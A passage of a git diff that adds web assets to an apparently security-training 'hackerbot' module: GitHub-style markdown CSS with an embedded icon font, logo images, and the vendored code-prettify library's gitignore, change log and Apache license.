url(data:font/woff;charset=utf-8;base64,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) format('woff'); +} + +.markdown-body { + -ms-text-size-adjust: 100%; + -webkit-text-size-adjust: 100%; + line-height: 1.5; + color: #24292e; + font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; + font-size: 16px; + line-height: 1.5; + word-wrap: break-word; +} + +.markdown-body .pl-c { + color: #6a737d; +} + +.markdown-body .pl-c1, +.markdown-body .pl-s .pl-v { + color: #005cc5; +} + +.markdown-body .pl-e, +.markdown-body .pl-en { + color: #6f42c1; +} + +.markdown-body .pl-smi, +.markdown-body .pl-s .pl-s1 { + color: #24292e; +} + +.markdown-body .pl-ent { + color: #22863a; +} + +.markdown-body .pl-k { + color: #d73a49; +} + +.markdown-body .pl-s, +.markdown-body .pl-pds, +.markdown-body .pl-s .pl-pse .pl-s1, +.markdown-body .pl-sr, +.markdown-body .pl-sr .pl-cce, +.markdown-body .pl-sr .pl-sre, +.markdown-body .pl-sr .pl-sra { + color: #032f62; +} + +.markdown-body .pl-v, +.markdown-body .pl-smw { + color: #e36209; +} + +.markdown-body .pl-bu { + color: #b31d28; +} + +.markdown-body .pl-ii { + color: #fafbfc; + background-color: #b31d28; +} + +.markdown-body .pl-c2 { + color: #fafbfc; + background-color: #d73a49; +} + +.markdown-body .pl-c2::before { + content: "^M"; +} + +.markdown-body .pl-sr .pl-cce { + font-weight: bold; + color: #22863a; +} + +.markdown-body .pl-ml { + color: #735c0f; +} + +.markdown-body .pl-mh, +.markdown-body .pl-mh .pl-en, +.markdown-body .pl-ms { + font-weight: bold; + color: #005cc5; +} + +.markdown-body .pl-mi { + font-style: italic; + color: #24292e; +} + +.markdown-body .pl-mb { + font-weight: bold; + color: #24292e; +} + +.markdown-body .pl-md { + color: #b31d28; + background-color: #ffeef0; +} + +.markdown-body .pl-mi1 { + color: #22863a; + background-color: #f0fff4; +} + +.markdown-body .pl-mc { + color: #e36209; + background-color: #ffebda; +} + +.markdown-body .pl-mi2 { + color: #f6f8fa; + background-color: #005cc5; +} + +.markdown-body .pl-mdr { + font-weight: bold; + color: #6f42c1; +} + +.markdown-body .pl-ba { + color: #586069; +} + +.markdown-body .pl-sg { + color: #959da5; +} + +.markdown-body .pl-corl { + text-decoration: underline; + color: #032f62; +} + +.markdown-body .octicon { + display: inline-block; + vertical-align: text-top; + fill: currentColor; +} + +.markdown-body a { + background-color: transparent; + -webkit-text-decoration-skip: objects; +} + +.markdown-body a:active, +.markdown-body a:hover { + outline-width: 0; +} + +.markdown-body strong { + font-weight: inherit; +} + +.markdown-body strong { + font-weight: bolder; +} + +.markdown-body h1 { + font-size: 2em; + margin: 0.67em 0; +} + +.markdown-body img { + border-style: none; +} + +.markdown-body svg:not(:root) { + overflow: hidden; +} + +.markdown-body code, +.markdown-body kbd, +.markdown-body pre { + font-family: monospace, monospace; + font-size: 1em; +} + +.markdown-body hr { + box-sizing: content-box; + height: 0; + overflow: visible; +} + +.markdown-body input { + font: inherit; + margin: 0; +} + +.markdown-body input { + overflow: visible; +} + +.markdown-body [type="checkbox"] { + box-sizing: border-box; + padding: 0; +} + +.markdown-body * { + box-sizing: border-box; +} + +.markdown-body input { + font-family: inherit; + font-size: inherit; + line-height: inherit; +} + +.markdown-body a { + color: #0366d6; + text-decoration: none; +} + +.markdown-body a:hover { + text-decoration: underline; +} + +.markdown-body strong { + font-weight: 600; +} + +.markdown-body hr { + height: 0; + margin: 15px 0; + overflow: hidden; + background: transparent; + border: 0; + border-bottom: 1px solid #dfe2e5; +} + +.markdown-body hr::before { + display: table; + content: ""; +} + +.markdown-body hr::after { + display: table; + clear: both; + content: ""; +} + +.markdown-body table { + border-spacing: 0; + border-collapse: collapse; +} + +.markdown-body td, +.markdown-body th { + padding: 0; +} + +.markdown-body h1, +.markdown-body h2, +.markdown-body h3, +.markdown-body h4, +.markdown-body h5, +.markdown-body h6 { + margin-top: 0; + margin-bottom: 0; +} + +.markdown-body h1 { + font-size: 32px; + font-weight: 600; +} + +.markdown-body h2 { + font-size: 24px; + font-weight: 600; +} + +.markdown-body h3 { + font-size: 20px; + font-weight: 600; +} + +.markdown-body h4 { + font-size: 16px; + font-weight: 600; +} + +.markdown-body h5 { + font-size: 14px; + font-weight: 600; +} + +.markdown-body h6 { + font-size: 12px; + font-weight: 600; +} + +.markdown-body p { + margin-top: 0; + margin-bottom: 10px; +} + +.markdown-body blockquote { + margin: 0; +} + +.markdown-body ul, +.markdown-body ol { + padding-left: 0; + margin-top: 0; + margin-bottom: 0; +} + +.markdown-body ol ol, +.markdown-body ul ol { + list-style-type: lower-roman; +} + +.markdown-body ul ul ol, +.markdown-body ul ol ol, +.markdown-body ol ul ol, +.markdown-body ol ol ol { + list-style-type: lower-alpha; +} + +.markdown-body dd { + margin-left: 0; +} + +.markdown-body code { + font-family: "SFMono-Regular", Consolas, "Liberation Mono", Menlo, Courier, monospace; + font-size: 12px; +} + +.markdown-body pre { + margin-top: 0; + margin-bottom: 0; + font: 12px "SFMono-Regular", Consolas, "Liberation Mono", Menlo, Courier, monospace; +} + +.markdown-body .octicon { + vertical-align: text-bottom; +} + +.markdown-body .pl-0 { + padding-left: 0 !important; +} + +.markdown-body .pl-1 { + padding-left: 4px !important; +} + +.markdown-body .pl-2 { + padding-left: 8px !important; +} + +.markdown-body .pl-3 { + padding-left: 16px !important; +} + +.markdown-body .pl-4 { + padding-left: 24px !important; +} + +.markdown-body .pl-5 { + padding-left: 32px !important; +} + +.markdown-body .pl-6 { + padding-left: 40px !important; +} + +.markdown-body::before { + display: table; + content: ""; +} + +.markdown-body::after { + display: table; + clear: both; + content: ""; +} + +.markdown-body>*:first-child { + margin-top: 0 !important; +} + +.markdown-body>*:last-child { + margin-bottom: 0 !important; +} + +.markdown-body a:not([href]) { + color: inherit; + text-decoration: none; +} + +.markdown-body .anchor { + float: left; + padding-right: 4px; + margin-left: -20px; + line-height: 1; +} + +.markdown-body .anchor:focus { + outline: none; +} + +.markdown-body p, +.markdown-body blockquote, +.markdown-body ul, +.markdown-body ol, +.markdown-body dl, +.markdown-body table, +.markdown-body pre { + margin-top: 0; + margin-bottom: 16px; +} + +.markdown-body hr { + height: 0.25em; + padding: 0; + margin: 24px 0; + background-color: #e1e4e8; + border: 0; +} + +.markdown-body blockquote { + padding: 0 1em; + color: #6a737d; + border-left: 0.25em solid #dfe2e5; +} + +.markdown-body blockquote>:first-child { + margin-top: 0; +} + +.markdown-body blockquote>:last-child { + margin-bottom: 0; +} + +.markdown-body kbd { + display: inline-block; + padding: 3px 5px; + font-size: 11px; + line-height: 10px; + color: #444d56; + vertical-align: middle; + background-color: #fafbfc; + border: solid 1px #c6cbd1; + border-bottom-color: #959da5; + border-radius: 3px; + box-shadow: inset 0 -1px 0 #959da5; +} + +.markdown-body h1, +.markdown-body h2, +.markdown-body h3, +.markdown-body h4, +.markdown-body h5, +.markdown-body h6 { + margin-top: 24px; + margin-bottom: 16px; + font-weight: 600; + line-height: 1.25; +} + +.markdown-body h1 .octicon-link, +.markdown-body h2 .octicon-link, +.markdown-body h3 .octicon-link, +.markdown-body h4 .octicon-link, +.markdown-body h5 .octicon-link, +.markdown-body h6 .octicon-link { + color: #1b1f23; + vertical-align: middle; + visibility: hidden; +} + +.markdown-body h1:hover .anchor, +.markdown-body h2:hover .anchor, +.markdown-body h3:hover .anchor, +.markdown-body h4:hover .anchor, +.markdown-body h5:hover .anchor, +.markdown-body h6:hover .anchor { + text-decoration: none; +} + +.markdown-body h1:hover .anchor .octicon-link, +.markdown-body h2:hover .anchor .octicon-link, +.markdown-body h3:hover .anchor .octicon-link, +.markdown-body h4:hover .anchor .octicon-link, +.markdown-body h5:hover .anchor .octicon-link, +.markdown-body h6:hover .anchor .octicon-link { + visibility: visible; +} + +.markdown-body h1 { + padding-bottom: 0.3em; + font-size: 2em; + border-bottom: 1px solid #eaecef; +} + +.markdown-body h2 { + padding-bottom: 0.3em; + font-size: 1.5em; + border-bottom: 1px solid #eaecef; +} + +.markdown-body h3 { + font-size: 1.25em; +} + +.markdown-body h4 { + font-size: 1em; +} + +.markdown-body h5 { + font-size: 0.875em; +} + +.markdown-body h6 { + font-size: 0.85em; + color: #6a737d; +} + +.markdown-body ul, +.markdown-body ol { + padding-left: 2em; +} + +.markdown-body ul ul, +.markdown-body ul ol, +.markdown-body ol ol, +.markdown-body ol ul { + margin-top: 0; + margin-bottom: 0; +} + +.markdown-body li>p { + margin-top: 16px; +} + +.markdown-body li+li { + margin-top: 0.25em; +} + +.markdown-body dl { + padding: 0; +} + +.markdown-body dl dt { + padding: 0; + margin-top: 16px; + font-size: 1em; + font-style: italic; + font-weight: 600; +} + +.markdown-body dl dd { + padding: 0 16px; + margin-bottom: 16px; +} + +.markdown-body table { + display: block; + width: 100%; + overflow: auto; +} + +.markdown-body table th { + font-weight: 600; +} + +.markdown-body table th, +.markdown-body table td { + padding: 6px 13px; + border: 1px solid #dfe2e5; +} + +.markdown-body table tr { + background-color: #fff; + border-top: 1px solid #c6cbd1; +} + +.markdown-body table tr:nth-child(2n) { + background-color: #f6f8fa; +} + +.markdown-body img { + max-width: 100%; + box-sizing: content-box; + background-color: #fff; +} + +.markdown-body code { + padding: 0; + padding-top: 0.2em; + padding-bottom: 0.2em; + margin: 0; + font-size: 85%; + background-color: rgba(27,31,35,0.05); + border-radius: 3px; +} + +.markdown-body code::before, +.markdown-body code::after { + letter-spacing: -0.2em; + content: "\00a0"; +} + +.markdown-body pre { + word-wrap: normal; +} + +.markdown-body pre>code { + padding: 0; + margin: 0; + font-size: 100%; + word-break: normal; + white-space: pre; + background: transparent; + border: 0; +} + +.markdown-body .highlight { + margin-bottom: 16px; +} + +.markdown-body .highlight pre { + margin-bottom: 0; + word-break: normal; +} + +.markdown-body .highlight pre, +.markdown-body pre { + padding: 16px; + overflow: auto; + font-size: 85%; + line-height: 1.45; + background-color: #f6f8fa; + border-radius: 3px; +} + +.markdown-body pre code { + display: inline; + max-width: auto; + padding: 0; + margin: 0; + overflow: visible; + line-height: inherit; + word-wrap: normal; + background-color: transparent; + border: 0; +} + +.markdown-body pre code::before, +.markdown-body pre code::after { + content: normal; +} + +.markdown-body .full-commit .btn-outline:not(:disabled):hover { + color: #005cc5; + border-color: #005cc5; +} + +.markdown-body kbd { + display: inline-block; + padding: 3px 5px; + font: 11px "SFMono-Regular", Consolas, "Liberation Mono", Menlo, Courier, monospace; + line-height: 10px; + color: #444d56; + vertical-align: middle; + background-color: #fafbfc; + border: solid 1px #d1d5da; + border-bottom-color: #c6cbd1; + border-radius: 3px; + box-shadow: inset 0 -1px 0 #c6cbd1; +} + +.markdown-body :checked+.radio-label { + position: relative; + z-index: 1; + border-color: #0366d6; +} + +.markdown-body .task-list-item { + list-style-type: none; +} + +.markdown-body .task-list-item+.task-list-item { + margin-top: 3px; +} + +.markdown-body .task-list-item input { + margin: 0 0.2em 0.25em -1.6em; + vertical-align: middle; +} + +.markdown-body hr { + border-bottom-color: #eee; +} diff --git a/modules/utilities/unix/hackerbot/files/www/images/leedsbeckett-logo.png b/modules/utilities/unix/hackerbot/files/www/images/leedsbeckett-logo.png new file mode 100644 index 000000000..772734ac0 Binary files /dev/null and b/modules/utilities/unix/hackerbot/files/www/images/leedsbeckett-logo.png differ diff --git a/modules/utilities/unix/hackerbot/files/www/images/skullandusb.svg b/modules/utilities/unix/hackerbot/files/www/images/skullandusb.svg new file mode 100644 index 000000000..3d146e952 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/www/images/skullandusb.svg @@ -0,0 +1,442 @@ + + + + hyf_logo_v2 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + image/svg+xml + + + + + Openclipart + + + logo_skull_HYF + 2012-08-20T18:47:47 + Logo du projet H@ckYourFest. Crane et cable USB. + https://openclipart.org/detail/171835/logo_skull_hyf-by-regisburin-171835 + + + regisburin + + + + + crane + hacking + pirate + plug + prise + skull + usb + + + + + + + + + + + diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/.gitignore b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/.gitignore new file mode 100644 index 000000000..433f78b21 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/.gitignore @@ -0,0 +1,18 @@ +# temporary files +*~ +*.swp +.DS_Store + +# package managers +/node_modules/ +/bower_components/ +npm-debug.log +.bower.json + +# generated files +#/src/prettify.js +#/src/run_prettify.js +#/loader/*.js +#/loader/*.css +#/loader/skins/*.css +#/distrib/*.zip diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/CHANGES.md b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/CHANGES.md new file mode 100644 index 000000000..a4a5bdc5d --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/CHANGES.md @@ -0,0 +1,137 @@ +# Known Issues + + * Perl formatting is really crappy. Partly because the author is lazy and partly + because Perl is [hard](http://www.perlmonks.org/?node_id=663393) to parse. + * On some browsers, `` elements with newlines in the text which use CSS + to specify `white-space:pre` will have the newlines improperly stripped if + the element is not attached to the document at the time the stripping is done. + Also, on IE6, all newlines will be stripped from `` elements because + of the way IE6 produces `innerHTML`. Workaround: use `
` for code with
+   newlines.
+
+# Change Log
+
+## 29 March 2007
+
+ * Added [tests](https://rawgit.com/google/code-prettify/master/tests/prettify_test.html#PHP)
+   for PHP support to address issue [#3](https://github.com/google/code-prettify/issues/3).
+ * Fixed bug [#6](https://github.com/google/code-prettify/issues/6): `prettyPrintOne`
+   was not halting. This was not reachable through the normal entry point.
+ * Fixed bug [#4](https://github.com/google/code-prettify/issues/4): recursing into a
+   script block or PHP tag that was not properly closed would not silently drop the content.
+   ([test](https://rawgit.com/google/code-prettify/master/tests/prettify_test.html#issue4))
+ * Fixed bug [#8](https://github.com/google/code-prettify/issues/8): was eating tabs
+   ([test](https://rawgit.com/google/code-prettify/master/tests/prettify_test.html#issue8))
+ * Fixed entity handling so that the caveat
+
+   > Caveats: please properly escape less-thans. `x<y` instead of `x and use `"` instead of `"` for string delimiters.
+
+   is no longer applicable.
+ * Added *noisefree*'s C# patch [#7](https://github.com/google/code-prettify/issues/7)
+ * Added a [distribution](http://google-code-prettify.googlecode.com/files/prettify-small.zip)
+   that has comments and whitespace removed to reduce download size from 45.5kB
+   to 12.8kB.
+
+## 4 Jul 2008
+
+ * Added [#17](https://github.com/google/code-prettify/issues/17) language specific
+   formatters that are triggered by the presence of a `lang-`
+ * Fixed bug [#29](https://github.com/google/code-prettify/issues/29): python
+   handling of `'''string'''`
+ * Fixed bug: `/` in regex `[charsets] should not end regex`
+
+## 5 Jul 2008
+
+ * Defined language extensions for Lisp and Lua
+
+## 14 Jul 2008
+
+ * Language handlers for F#, OCAML, SQL
+ * Support for `nocode` spans to allow embedding of line numbers and code
+   annotations which should not be styled or otherwise affect the tokenization
+   of prettified code. See the issue [#22](https://github.com/google/code-prettify/issues/22)
+   [testcase](https://rawgit.com/google/code-prettify/master/tests/prettify_test.html#issue22).
+
+## 6 Jan 2009
+
+ * Language handlers for Visual Basic, Haskell, CSS, and WikiText
+ * Added `.mxml` extension to the markup style handler for
+   Flex [MXML files](http://en.wikipedia.org/wiki/MXML).
+   See issue [#37](https://github.com/google/code-prettify/issues/37).
+ * Added `.m` extension to the C style handler so that Objective C source files
+   properly highlight. See issue [#58](https://github.com/google/code-prettify/issues/58).
+ * Changed HTML lexer to use the same embedded source mechanism as the wiki
+   language handler, and changed to use the registered CSS handler for STYLE
+   element content.
+
+## 21 May 2009
+
+ * Rewrote to improve performance on large files.
+   See [benchmarks](http://mikesamuel.blogspot.com/2009/05/efficient-parsing-in-javascript.html).
+ * Fixed bugs with highlighting of Haskell line comments, Lisp number literals,
+   Lua strings, C preprocessor directives, newlines in Wiki code on Windows, and
+   newlines in IE6.
+
+## 14 August 2009
+
+ * Fixed prettifying of `` blocks with embedded newlines.
+
+## 3 October 2009
+
+ * Fixed prettifying of XML/HTML tags that contain uppercase letters.
+
+## 19 July 2010
+
+ * Added support for line numbers. Bug [#22](https://github.com/google/code-prettify/issues/22)
+ * Added YAML support. Bug [#123](https://github.com/google/code-prettify/issues/123)
+ * Added VHDL support courtesy *Le Poussin*.
+ * IE performance improvements. Bug [#102](https://github.com/google/code-prettify/issues/102)
+   courtesy *jacobly*.
+ * A variety of markup formatting fixes courtesy *smain* and *thezbyg*.
+ * Fixed copy and paste in IE 6, 7, 8.
+ * Changed output to use ` ` instead of ` ` so that the output works
+   when embedded in XML. Bug [#108](https://github.com/google/code-prettify/issues/108).
+
+## 7 September 2010
+
+ * Added support for coffeescript courtesy *Cezary Bartoszuk*.
+
+## 4 March 2011
+
+ * Added a [themes gallery](https://rawgit.com/google/code-prettify/master/styles/index.html)
+   to showcase contributed styles.
+ * Added support for XQuery courtesy *Patrick Wied*, Nemerle courtesy *Zimin A.V.*,
+   and Latex support courtesy *Martin S*.
+
+## 29 March 2011
+
+ * Fixed IE newline issues, and copying/pasting of prettified source code from IE.
+   This required significant internal changes but involves no API changes.
+   **Caveat**: `prettyPrintOne` injects the HTML passed to it into a `
` element.
+   If the HTML comes from a trusted source, this may allow XSS. Do not do this.
+   This should not be a problem for existing apps since the standard usage is to
+   rewrite the HTML and then inject it, so anyone doing that with untrusted HTML
+   already has an XSS vulnerability. If you sanitize and prettify HTML from an
+   untrusted source, sanitize first.
+
+## 4 February 2013
+
+ * Language handlers for Dart, Erlang, Mumps, TCL, R, S., and others
+ * Bug fix: VB REM style comments.
+ * Bug fix: CSS color literals / ID selector confusion.
+ * Bug fix: IE8 line breaks.
+
+## 24 February 2013
+
+ * Added a one script autoload&run mechanism and a way to embed hints in
+   processing instructions/comments. See
+   [example](https://rawgit.com/google/code-prettify/master/examples/quine.html).
+
+## 4 March 2013
+
+ * Matlab language handler courtesy *Amro³*
+
+## 28 Apr 2015
+
+ * Migrated to Github
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/COPYING b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/COPYING
new file mode 100644
index 000000000..b7f86df20
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/COPYING
@@ -0,0 +1,191 @@
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   Copyright 2011 Mike Samuel et al
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/Gruntfile.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/Gruntfile.js
new file mode 100644
index 000000000..cf74969b5
--- /dev/null
